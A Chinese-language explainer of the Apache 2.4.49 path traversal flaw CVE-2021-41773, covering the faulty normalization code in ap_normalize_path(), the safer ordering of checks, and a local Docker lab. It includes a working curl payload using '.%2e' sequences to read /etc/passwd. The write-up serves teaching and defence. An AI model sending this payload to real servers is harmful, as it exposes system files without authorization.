CVE-2021-41773 是一个影响 Apache HTTP Server 2.4.49 的路径遍历漏洞。
该漏洞允许攻击者在特定配置下访问预期目录之外的文件,尤其是当目录通过 Alias、ScriptAlias 或其他类似 Alias 的指令暴露时。
该漏洞是由于 URL 路径规范化和标准化 处理不当所致。Apache 对可能仍包含编码字符的路径表示形式执行安全检查,使攻击者能够利用编码的点序列绕过遍历检测。
攻击者可以构造包含编码遍历序列的恶意 URL,例如:
.%2e
其中:
%2e = .
因此:
.%2e
解码后变为:
..
如果 Apache 在将编码表示解析为其规范形式之前对其进行验证,则可以绕过遍历检查。
成功利用该漏洞可允许攻击者读取文件系统上的任意文件。
示例目标:
/etc/passwd
易受攻击的逻辑位于:
server/util.c
内部:
ap_normalize_path()
Apache 2.4.49 的漏洞代码:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
漏洞代码尝试识别目录遍历模式:
../
通过检查连续的点:
path[l + 1] == '.'
然而,攻击者可以提供编码的遍历序列:
/.%2e/
在进行规范化检查时,Apache 处理的是:
.%2e
而不是:
..
因为:
%2e != .
遍历检测逻辑无法将该序列识别为:
../
路径随后以其解码形式被解释,从而允许遍历发生。
易受攻击的行为可以表示如下:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
安全决策是在路径达到其最终规范表示之前做出的。
更安全的方法是:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
安全检查应始终针对最终的规范化表示执行。
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
发送包含编码遍历序列的请求:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
成功利用将返回以下文件的内容:
/etc/passwd
示例:
root:x:0:0:root:/root:/bin/bash
403 Forbidden 响应并不一定意味着漏洞利用失败。
在测试过程中,Apache 可能会成功地将:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
规范化为:
/etc/passwd
但因文件系统权限或 Apache 授权规则而拒绝访问。
示例:
client denied by server configuration: /etc/passwd
这表明遍历已成功发生,但访问控制阻止了文件泄露。
CVE-2021-41773 是 规范化漏洞 的一个典型示例。
用户可控的输入可以有多种表示形式:
.%2e
和:
..
尽管它们看起来不同,但它们表示相同的路径组件。
安全检查必须始终在解码和规范化之后执行。验证编码或模糊的表示形式可能导致安全绕过。